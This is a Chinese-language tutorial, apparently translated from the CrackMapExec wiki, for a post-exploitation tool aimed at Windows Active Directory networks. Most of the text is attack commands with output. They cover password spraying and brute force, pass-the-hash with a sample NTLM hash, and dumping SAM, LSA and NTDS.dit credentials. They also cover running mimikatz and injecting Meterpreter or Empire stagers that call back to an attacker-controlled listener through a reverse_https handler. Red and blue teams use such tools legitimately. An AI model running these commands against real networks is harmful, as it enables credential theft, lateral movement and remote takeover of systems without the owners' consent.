CrackMapExec:一款針對大型Windows活動目錄(AD)的後滲透工具
ofollow,noindex" target="_blank">CrackMapExec(CME) 是一款後滲透利用工具,可幫助自動化大型活動目錄(AD)網路安全評估任務。其締造者 @byt3bl33d3r 稱,該工具的生存概念是,“利用AD內建功能/協議達成其功能,並規避大多數終端防護/IDS/IPS解決方案。”
儘管該專案主要用於攻擊性目的(例如紅隊),但藍隊同樣可以使用該工具來評估賬戶許可權,模擬攻擊,查詢配置錯誤。CME還使用 Shell/">PowerShellMafia/PowerSploit" rel="nofollow,noindex" target="_blank">PowerSploit工具包 和 Impacket 庫。
安裝
重要:在以下所有Bleeding-Edge安裝說明中,請注意傳遞給git clone命令的–recursive標誌。該標誌會讓git自動下載CME所依賴的所有子模組。如果沒有的話,安裝將會失敗。
Kali
最新穩定版
#~ apt-get install crackmapexec
Bleeging-Edge
強烈建議使用 pipenv 來安裝CME,以避免依賴項與你的系統包產生衝突。
#~ apt-get install -y libssl-dev libffi-dev python-dev build-essential #~ pip install --user pipenv #~ git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec #~ cd CrackMapExec && pipenv install #~ pipenv shell #~ python setup.py install
Debian/Ubuntu
強烈建議使用 pipenv 來安裝CME,以避免依賴項與你的系統包產生衝突。
最新穩定版
#~ apt-get install -y libssl-dev libffi-dev python-dev build-essential #~ pip install crackmapexec
Bleeging-Edge
#~ apt-get install -y libssl-dev libffi-dev python-dev build-essential #~ pip install --user pipenv #~ git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec #~ cd CrackMapExec && pipenv install #~ pipenv shell #~ python setup.py install
Arch Linux
強烈建議使用 pipenv 來安裝CME,以避免依賴項與你的系統包產生衝突。
最新穩定版
pip install crackmapexec
Bleeging-Edge
#~ pip install --user pipenv #~ git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec #~ cd CrackMapExec && pipenv install #~ pipenv shell #~ python setup.py install
Mac OSX
強烈建議使用 pipenv 來安裝CME,以避免依賴項與你的系統包產生衝突。
最新穩定版
pip install --user crackmapexec
Bleeging-Edge
#~ pip install --user pipenv #~ git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec #~ cd CrackMapExec && pipenv install #~ pipenv shell #~ python setup.py install
Logs
CME輸出的任何日誌檔案都將儲存在~/.cme/logs中。
使用協議
從v4開始,CME將其功能劃分為簡化/組合/模組化(simplify/orginize/modularize)引數解析和功能,並允許將CME的功能擴充套件至Active Directory之外。
要使用特定協議,請執行:cme <協議> <協議選項>
檢視可用協議
執行cme –help將列出可用的常規選項和協議:
#~ cme --help usage: cme [-h] [-v] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--darrell] [--verbose] {http,smb,mssql} ... ______ .____________________ .______.___._____________ ___________________ /||_\/\/|||// |\/|/\|_\|____|\\ // |____| /| |,----'||_)|/^\|,----'|'/|\/|/^\||_)| ||__\V/||__|,----' |||///_\\|||<||\/||//_\\|___/|__|><|__||| |`----.||\\----. /_____\|`----.|.\||||/_____\||||____/.\||____ |`----. \______|| _| `._____|/__/\__\\______||__|\__\ |__||__| /__/\__\ | _||_______|/__/ \__\ |_______| \______| A swiss army knife for pentesting networks Forged by @byt3bl33d3r using the powah of dank memes Version: 4.0.0dev Codename: 'Sercurty' optional arguments: -h, --helpshow this help message and exit -v, --versionshow program's version number and exit -t THREADSset how many concurrent threads to use (default: 100) --timeout TIMEOUTmax timeout in seconds of each thread (default: None) --jitter INTERVALsets a random delay between each connection (default: None) --darrellgive Darrell a hand --verboseenable verbose output protocols: available protocols {http,smb,mssql} httpown stuff using HTTP(S) smbown stuff using SMB and/or Active Directory mssqlown stuff using MSSQL and/or Active Directory Serrrrrrcuuurrrty?
檢視協議選項
執行cme <protocol> –help 檢視指定協議所支援的選項。例如,檢視所有SMB協議選項:
#~ cme smb --help usage: cme smb [-h] [-id CRED_ID [CRED_ID ...]] [-u USERNAME [USERNAME ...]] [-p PASSWORD [PASSWORD ...]] [--gfail-limit LIMIT | --ufail-limit LIMIT | --fail-limit LIMIT] [-M MODULE] [-o MODULE_OPTION [MODULE_OPTION ...]] [-L] [--options] [--server {http,https}] [--server-host HOST] [--server-port PORT] [-H HASH [HASH ...]] [-d DOMAIN | --local-auth] [--smb-port {139,445}] [--share SHARE] [--gen-relay-list OUTPUT_FILE] [--sam | --lsa | --ntds {vss,drsuapi}] [--shares] [--sessions] [--disks] [--loggedon-users] [--users [USER]] [--groups [GROUP]] [--local-groups [GROUP]] [--pass-pol] [--rid-brute [MAX_RID]] [--wmi QUERY] [--wmi-namespace NAMESPACE] [--spider SHARE] [--spider-folder FOLDER] [--content] [--exclude-dirs DIR_LIST] [--pattern PATTERN [PATTERN ...] | --regex REGEX [REGEX ...]] [--depth DEPTH] [--only-files] [--exec-method {mmcexec,smbexec,wmiexec,atexec}] [--force-ps32] [--no-output] [-x COMMAND | -X PS_COMMAND] [target [target ...]] positional arguments: targetthe target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets optional arguments: -h, --helpshow this help message and exit -id CRED_ID [CRED_ID ...] database credential ID(s) to use for authentication -u USERNAME [USERNAME ...] username(s) or file(s) containing usernames -p PASSWORD [PASSWORD ...] password(s) or file(s) containing passwords --gfail-limit LIMITmax number of global failed login attempts --ufail-limit LIMITmax number of failed login attempts per username --fail-limit LIMITmax number of failed login attempts per host -M MODULE, --module MODULE payload module to use -o MODULE_OPTION [MODULE_OPTION ...] payload module options -L, --list-moduleslist available modules --optionsdisplay module options --server {http,https} use the selected server (default: https) --server-host HOSTIP to bind the server to (default: 0.0.0.0) --server-port PORTstart the server on the specified port -H HASH [HASH ...], --hash HASH [HASH ...] -- SNIP --
目標格式
每個協議都支援以CIDR表示法,IP地址,IP範圍,主機名或包含目標列表的檔案格式。
crackmapexec <protocol> ms.evilcorp.org
crackmapexec <protocol> 192.168.1.0 192.168.0.2
crackmapexec <protocol> 192.168.1.0/24
crackmapexec <protocol> 192.168.1.0-28 10.0.0.1-67
crackmapexec <protocol> ~/targets.txt
使用憑據
當你需要使用憑據時,你可以執行以下命令:
crackmapexec <protocol> <target(s)> -u username -p password
注意1:使用包含特殊符號的使用者名稱和密碼時,請用單引號將它們包起來,這樣shell才會將它們作為字串解析。
示例:
crackmapexec <protocol> <target(s)> -u username -p 'Admin!123@'
注意2:由於Python的引數解析庫中存在 bug ,以短劃線( – )開頭的憑據將丟擲至少一個引數錯誤訊息。要解決此問題,請使用“long”引數格式指定憑據(請注意=符號):
crackmapexec <protocol> <target(s)> -u='-username' -p='-Admin!123@'
使用資料庫中的憑據集
通過使用-id標誌指定憑據ID(或多個憑證ID),CME將自動從後端資料庫中提取該憑據,並用它進行身份驗證:
crackmapexec <protocol> <target(s)> -id <cred ID(s)>
爆破&Password Spraying
所有協議都支援暴力破解和密碼噴灑(Password Spraying)。有關使用特定協議進行暴力破解/密碼噴灑的詳細資訊,請參閱wiki的相應部分。
通過指定一個檔案或多個值,CME將使用指定協議自動爆破登入所有目標:
示例:
crackmapexec <protocol> <target(s)> -u username1 -p password1 password2
crackmapexec <protocol> <target(s)> -u username1 username2 -p password1
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes
使用模組
從v3.1開始,模組的載入和使用方式發生了變化,以使CME更具可移植性並可被打包。
v4.0的每個協議現在都可以擁有自己的模組集。
檢視協議的可用模組
執行 cme <protocol> -L 檢視指定協議的可用模組。
例如,檢視SMB協議的所有模組:
#~ cme smb -L [*] met_injectDownloads the Meterpreter stager and injects it into memory [*] get_keystrokesLogs keys pressed, time and the active window [*] empire_execUses Empire's RESTful API to generate a launcher for the specified listener and executes it -- SNIP --
使用模組
執行 cme <protocol> <target(s)> -M <module name>。
例如,執行SMB Mimikatz模組:
#~ crackmapexec smb <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz
檢視模組選項
執行 cme <protocol> -M <模組名稱> –options 檢視模組所支援的選項,例如:
#~ cme smb -M mimikatz --options
使用模組選項
使用-o標誌指定模組選項。所有選項都以KEY=value (msfvenom style)的形式指定。
示例:
#~ cme <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'
資料庫常規用法
CME會自動將所有使用/轉儲的憑證(以及其他資訊),儲存在首次執行時設定的資料庫中。
從CME v4開始,每個協議都有自己的資料庫。此外,v4引入了workspaces(類似於Metasploit)。
有關特定協議資料庫的詳細資訊和用法,請參閱Wiki的相應部分。
所有workspaces及其相關資料庫都儲存在~/.cme/workspaces中。
與資料庫互動
CME附帶了一個輔助命令列指令碼cmedb,用於與後端資料庫的互動。 鍵入命令cmedb進入命令shell:
#~ cmedb cmedb (default) >
Workspaces
預設workspace的名稱為’default’(如提示中所示)。一旦你選擇了workspace,那麼你在CME中執行的所有操作都將儲存在該workspace中。
建立工作區:
cmedb (default) > workspace create test [*] Creating workspace 'test' [*] Initializing HTTP protocol database [*] Initializing SMB protocol database [*] Initializing MSSQL protocol database cmedb (test) >
切換工作區:
cmedb (test) > workspace default cmedb (default) >
訪問協議的資料庫
要訪問協議的資料庫,只需執行proto <protocol>,例如:
cmedb (test) > proto smb cmedb (test)(smb) >
正如你在提示中看到的那樣,我們現在位於名為“test”的工作區中,並使用SMB協議的資料庫。每個協議資料庫都有自己的一組命令,你可以執行help命令來檢視可用選項。
有關特定協議資料庫的詳細資訊和用法,請參閱Wiki的相應部分。
切換協議資料庫:
cmedb (test)(smb) > back cmedb (test) > proto http cmedb (test)(http) >
SMB協議
Passing-the-Hash
CME支援使用帶-H標誌的Passing-The-Hash攻擊通過SMB進行身份驗證:
crackmapexec smb <target(s)> -u username -H LMHASH:NTHASH
crackmapexec smb <target(s)> -u username -H NTHASH
NULL Sessions
你可以使用”作為使用者名稱和/或密碼,即空會話登入
示例:
crackmapexec smb <target(s)> -u '' -p ''
使用SMB資料庫
待完成~
從Empire和Metasploit匯入憑據
CME非常適合作為Exploit/Post-Exploitation框架之間的“粘合劑”。為此我們添加了許多功能,以便儘可能輕鬆地讓使用者從Empire和Metasploit匯入憑據和資訊。
從Empire匯入憑據
cmedb命令列指令碼可以使用它的RESTful API,直接匯入儲存在Empire資料庫中的憑據,從而使Empire無縫重放轉儲憑據。有關cmedb指令碼和CME資料庫的更多資訊,請參閱: https://github.com/byt3bl33d3r/CrackMapExec/wiki/Using-the-Database
首先,啟動Empire的RESTful API伺服器:
#~ python empire --rest --user empireadmin --pass Password123! [*] Loading modules from: /home/byt3bl33d3r/Tools/Empire/lib/modules/ * Starting Empire RESTful API on port: 1337 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)
CME用於向Empire的RESTful API進行身份驗證的使用者名稱和密碼儲存在~/.cme/cme.conf檔案中:
[Empire] api_host=127.0.0.1 api_port=1337 username=empireadmin password=Password123! [Metasploit] rpc_host=127.0.0.1 rpc_port=55552 password=abc123
匯入Empire的憑據,只需啟動cmedb指令碼並執行import empire命令:
#~ cmedb cmedb > creds Credentials: CredIDAdmin OnCredTypeDomainUserNamePassword -------------------------------------------- cmedb > import empire [+] Empire credential import successful cmedb > creds Credentials: CredIDAdmin OnCredTypeDomainUserNamePassword -------------------------------------------- 10 Host(s)hashlab.localyomamae19ccf75ee54e06b06a5907af13cef42 20 Host(s)plaintextlab.localyomamaP@ssw0rd cmedb >
從Metasploit匯入憑據
即將實現~
Getting Shells 101
Empire Agent
我們可以使用empire_exec模組,來執行Empire Agent的初始stager。在後臺,模組連線到Empire的RESTful API,併為指定的listener生成launcher並執行它。
首先,設定一個Empire listener:
(Empire: listeners) > set Name test (Empire: listeners) > set Host 192.168.10.3 (Empire: listeners) > set Port 9090 (Empire: listeners) > set CertPath data/empire.pem (Empire: listeners) > run (Empire: listeners) > list [*] Active listeners: IDNameHostTypeDelay/JitterKillDateRedirect Target ---------------------------------------------------- 1testhttp://192.168.10.3:9090native5/0.0 (Empire: listeners) >
啟動Empire的RESTful API伺服器:
#~ python empire --rest --user empireadmin --pass Password123! [*] Loading modules from: /home/byt3bl33d3r/Tools/Empire/lib/modules/ * Starting Empire RESTful API on port: 1337 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)
CME用於向Empire的RESTful API進行身份驗證的使用者名稱和密碼儲存在~/.cme/cme.conf檔案中:
[Empire] api_host=127.0.0.1 api_port=1337 username=empireadmin password=Password123! [Metasploit] rpc_host=127.0.0.1 rpc_port=55552 password=abc123
然後執行empire_exec模組,並指定listener名稱:
#~ crackmapexec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test
Meterpreter
我們可以使用metinject模組,使用PowerSploit的Invoke-Shellcode.ps1指令碼直接將meterpreter注入到記憶體。
首先,設定handler處理程式:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(handler) > set LHOST 192.168.10.3 LHOST => 192.168.10.3 msf exploit(handler) > set exitonsession false exitonsession => false msf exploit(handler) > exploit -j [*] Exploit running as background job. [*] Started HTTPS reverse handler on https://192.168.10.3:8443 msf exploit(handler) > [*] Starting the payload handler...
然後執行metinject模組,並指定LHOST和LPORT的值:
#~ crackmapexec 192.168.10.0/24 -u username -p password -M metinject -o LHOST=192.168.10.3 LPORT=8443
命令執行
在Windows系統上執行命令需要擁有管理員憑據,CME會在身份驗證成功時通過向輸出新增 ‘(Pwn3d!)’ 來自動告訴你正在使用的憑據集是否具有對主機的管理訪問許可權。
有關如何使用憑據的詳細資訊,請參閱憑據部分。
執行方法
CME有三種不同的命令執行方法:
1.wmiexec:通過WMI執行命令
2.atexe:通過Windows任務排程程式排程任務來執行命令
3.smbexec:通過建立和執行服務來執行命令
預設情況下,CME將按以下順序執行命令(如果失敗逐一嘗試):
1.wmiexec
2.atexec
3.smbexec
如果你想要指定命令執行的方法,可以使用–exec-method標誌。
執行命令
在下面的示例中,我們嘗試使用-x標誌在目標上執行whoami命令:
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami 06-05-2016 14:34:35 CME192.168.10.11:445 WIN7BOX[*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB) 06-05-2016 14:34:35 CME192.168.10.11:445 WIN7BOX[+] LAB\Administrator:P@ssw0rd (Pwn3d!) 06-05-2016 14:34:39 CME192.168.10.11:445 WIN7BOX[+] Executed command 06-05-2016 14:34:39 CME192.168.10.11:445 WIN7BOXlab\administrator 06-05-2016 14:34:39 [*] KTHXBYE!
你還可以使用-X標誌來直接執行PowerShell命令:
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' 06-05-2016 14:36:06 CME192.168.10.11:445 WIN7BOX[*] Windows 6.1 Build 7601 (name:WIN7BOX) (domain:LAB) 06-05-2016 14:36:06 CME192.168.10.11:445 WIN7BOX[+] LAB\Administrator:P@ssw0rd (Pwn3d!) 06-05-2016 14:36:10 CME192.168.10.11:445 WIN7BOX[+] Executed command 06-05-2016 14:36:10 CME192.168.10.11:445 WIN7BOXNameValue 06-05-2016 14:36:10 CME192.168.10.11:445 WIN7BOX--------- 06-05-2016 14:36:10 CME192.168.10.11:445 WIN7BOXCLRVersion2.0.50727.5420 06-05-2016 14:36:10 CME192.168.10.11:445 WIN7BOXBuildVersion6.1.7601.17514 06-05-2016 14:36:10 CME192.168.10.11:445 WIN7BOXPSVersion2.0 06-05-2016 14:36:10 CME192.168.10.11:445 WIN7BOXWSManStackVersion2.0 06-05-2016 14:36:10 CME192.168.10.11:445 WIN7BOXPSCompatibleVersions{1.0, 2.0} 06-05-2016 14:36:10 CME192.168.10.11:445 WIN7BOXSerializationVersion1.1.0.1 06-05-2016 14:36:10 CME192.168.10.11:445 WIN7BOXPSRemotingProtocolVersion2.1 06-05-2016 14:36:10 [*] KTHXBYE!
Powershell命令可以強制在32位程序中執行:
#~ crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '[System.Environment]::Is64BitProcess' --force-ps32 SMB192.168.10.11445WIN7BOX[*] Windows 7 Ultimate N 7601 Service Pack 1 x64 (name:WIN7BOX) (domain:LAB) (signing:False) (SMBv1:True) SMB192.168.10.11445WIN7BOX[+] LAB\Administrator:P@ssw0rd (Pwn3d!) SMB192.168.10.11445WIN7BOX[+] Executed command SMB192.168.10.11445WIN7BOXfalse
其他開關包括:
--no-outputDoes not retrieve command results
相關命令參考
SMB:命令參考
以下我們假設你已將Kali Linux主機連線到內網,且主機的IP段為192.168.1.0/24。如果CME沒有任何的輸出,則可能是你的命令有誤。
對映/列舉
對映網路主機
返回存活主機列表
#~ cme smb 192.168.1.0/24
結果如下:
SMB192.168.1.101445DC2012A[*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A) (domain:OCEAN) (signing:True) (SMBv1:True) SMB192.168.1.102445DC2012B[*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B) (domain:EARTH) (signing:True) (SMBv1:True) SMB192.168.1.110445DC2016A[*] Windows Server 2016 Standard Evaluation 14393 x64 (name:DC2016A) (domain:OCEAN) (signing:True) (SMBv1:True) SMB192.168.1.117445WIN10DESK1[*] WIN10DESK1 x64 (name:WIN10DESK1) (domain:OCEAN) (signing:False) (SMBv1:True)
生成中繼列表
對映實時網路主機並僅儲存需要SMB簽名的主機列表。列表格式為每行一個IP。
#~ cme smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt
結果如下:
SMB192.168.1.101445DC2012A[*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A) (domain:OCEAN) (signing:True) (SMBv1:True) SMB192.168.1.102445DC2012B[*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B) (domain:EARTH) (signing:True) (SMBv1:True) SMB192.168.1.111445SERVER1[*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SERVER1) (domain:PACIFIC) (signing:False) (SMBv1:True) SMB192.168.1.117445WIN10DESK1[*] WIN10DESK1 x64 (name:WIN10DESK1) (domain:OCEAN) (signing:False) (SMBv1:True) ...SNIP... #~ cat relaylistOutputFilename.txt 192.168.1.111 192.168.1.117
列舉共享
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --shares
列舉有效sessions
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sessions
列舉磁碟
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --disks
列舉登入使用者
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --loggedon-users
列舉域使用者
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --users
通過爆破RID列舉使用者
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute
列舉域組
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups
列舉本地組
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-groups
獲取域密碼策略
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol
身份驗證+憑據檢查(域)
登入失敗 [ - ]
成功登入 [+] Domain\Username:Password
本地管理員訪問結果在登入確認後添加了(Pwn3d!),如下所示。
SMB192.168.1.101445HOSTNAME[+] DOMAIN\Username:Password (Pwn3d!)
以下檢查將嘗試對整個/24網段進行身份驗證,你也可以針對單個目標。
User/Password
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE'
User/Hash
獲取憑據後例如:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
你可以使用完整雜湊或只使用nt雜湊(後半部分)
#~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' #~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' #~ cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c' #~ cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
Null Sessions
#~ cme smb 192.168.1.0/24 -u '' -p ''
如果有多個域正在執行,你可能需要使用-d來指定目標域。例如,對labnet.com域進行身份驗證。
#~ cme smb 192.168.1.0/24 -u UserNAme -p "PASSWORDHERE" -d LABNET
使用Username/Password列表
你可以以空格分隔 名稱/密碼 的形式使用多個使用者名稱和密碼。
#~ cme smb 192.168.1.101 -u user1 user2 user3 -p Summer18 #~ cme smb 192.168.1.101 -u user1 -p password1 password2 password3
CME接受包含使用者名稱和密碼的txt檔案(每行一個使用者/密碼)。注意帳戶鎖定!
#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 #~ cme smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt
*注意*:在預設情況下,CME將在成功登入後退出。如果你並不想退出,可以使用–continue-on-success標誌。
#~ cme smb 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success
身份驗證/憑據檢查(本地)
將–local-auth新增到任何身份驗證命令並嘗試在本地登入。
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth #~ cme smb 192.168.1.0/24 -u '' -p '' --local-auth #~ cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT' --local-auth #~ cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH' --local-auth #~ cme smb 192.168.1.0/24 -u localguy -H '13b29964cc2480b4ef454c59562e675c' --local-auth #~ cme smb 192.168.1.0/24 -u localguy -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth
結果如下:
SMB192.168.1.101445HOSTNAME[+] HOSTNAME\Username:Password (Pwn3d!)
獲取憑證
以下示例使用使用者名稱和明文密碼,儘管使用者/雜湊組合也可以使用。
需要目標域控制器上的域管理員或本地管理員許可權。
使用secretsdump.py中的方法轉儲SAM雜湊值
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
使用secretsdump.py中的方法轉儲LSA secrets
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
使用secretsdump.py中的方法從目標DC轉儲NTDS.dit
2 methods are available: (default) drsuapi -Uses drsuapi RPC interface create a handle, trigger replication, and combined with additional drsuapi calls to convert the resultant linked-lists into readable format vss - Uses the Volume Shadow copy Service
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds #~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
使用secretsdump.py中的方法從目標DC轉儲NTDS.dit密碼歷史記錄
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
顯示每個NTDS.dit帳戶的pwdLastSet屬性
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Spidering Shares
用於spider遠端系統共享。
spider C盤中檔名中帶有txt的檔案(找到sometxtfile.html和somefile.txt)
注意:‘$’字元必須進行轉義。
#~ cme SMB <IP> -u USER -p PASSWORD --spider C\$ --pattern txt
WMI查詢執行
有關wmi查詢及語法的更多資訊,請參閱: https://docs.microsoft.com/en-us/windows/desktop/wmisdk/invoking-a-synchronous-query
發出指定的WMI查詢
User/Password
#~ cme smb 10.10.33.121 -u Administrator -p 'P@ssw0rd' --wmi "SELECT * FROM Win32_logicalDisk WHERE DeviceID = 'C:'" SMB192.168.10.11445WIN7BOX[*] Windows 7 Ultimate N 7601 Service Pack 1 x64 (name:WIN7BOX) (domain:LAB) (signing:False) (SMBv1:True) SMB192.168.10.11445WIN7BOX[+] LAB\Administrator:P@ssw0rd (Pwn3d!) SMB192.168.10.11445WIN7BOXCaption => C: SMB192.168.10.11445WIN7BOXDescription => Local Fixed Disk SMB192.168.10.11445WIN7BOXInstallDate => 0 SMB192.168.10.11445WIN7BOXName => C: SMB192.168.10.11445WIN7BOXStatus => 0 SMB192.168.10.11445WIN7BOXAvailability => 0 SMB192.168.10.11445WIN7BOXCreationClassName => Win32_LogicalDisk SMB192.168.10.11445WIN7BOXConfigManagerErrorCode => 0 SMB192.168.10.11445WIN7BOXConfigManagerUserConfig => 0 SMB192.168.10.11445WIN7BOXDeviceID => C:
WMI Namespace
User/Password
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --wmi-namespace 'root\\cimv2'
HTTP:命令參考
以下我們假設你已將Kali Linux主機連線到內網,且主機的IP段為192.168.1.0/24。如果CME沒有任何的輸出,則可能是你的命令有誤。
Own stuff using HTTP
需要安裝phantomjs。如果你是通過apt-get進行安裝的話,請先刪除該版本,然後再從網站安裝。
>wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2 >tar xvjf phantomjs-2.1.1-linux-x86_64.tar.bz2 >mv phantomjs-2.1.1-linux-x86_64/bin/phantomjs /bin/ >phantomjs -v
對映/列舉
識別HTTP(S)伺服器和指紋
返回實時webservers和banners列表
預設檢查:80,443,8443,8008,8080,8081 埠
#~ cme http 192.168.1.0/24
結果如下:
HTTP192.168.1.1178080192.168.1.117[*] http://192.168.1.117:8080/ (Server: Apache-Coyote/1.1) (Page Title: Apache Tomcat) HTTP192.168.1.11780192.168.1.117[*] http://192.168.1.117/install/login (Server: Apache/2.4.18 (Ubuntu)) (Page Title: HackME) HTTP192.168.1.12080192.168.1.120[*] http://192.168.1.120/default.html (Server: IIS/8.5 (ASP.NET)) (Page Title: Welcome) HTTP192.168.1.125443192.168.1.125[*] https://192.168.1.125/ (Server: Jetty/8.0 ()) (Page Title: QuickStart)
指定埠
#~ cme http 192.168.1.0/24 --port 80 81 82 8080
指定協議
#~ cme http 192.168.1.0/24 --transports http
所在頁面截圖,並以 IP:Port_Year-month-day_time.png的格式儲存在“/.cme/logs”目錄下。
#~ cme http 192.168.1.117 --port 80 81 82 8080 --screenshot HTTP192.168.1.1178080192.168.1.117[*] http://192.168.1.117:8080/ (Server: Apache-Coyote/1.1) (Page Title: Apache Tomcat) HTTP192.168.1.11780192.168.1.117[*] http://192.168.1.117/install/login (Server: Apache/2.4.18 (Ubuntu)) (Page Title: HackME) HTTP192.168.1.1178080192.168.1.117[+] Screenshot stored at /root/.cme/logs/192.168.1.117:8080_2018-08-29_093828.png HTTP192.168.1.11780192.168.1.117[+] Screenshot stored at /root/.cme/logs/192.168.1.117:80_2018-08-29_093828.png
*參考來源: github ,FB小編 secist 編譯,轉載請註明來自FreeBuf.COM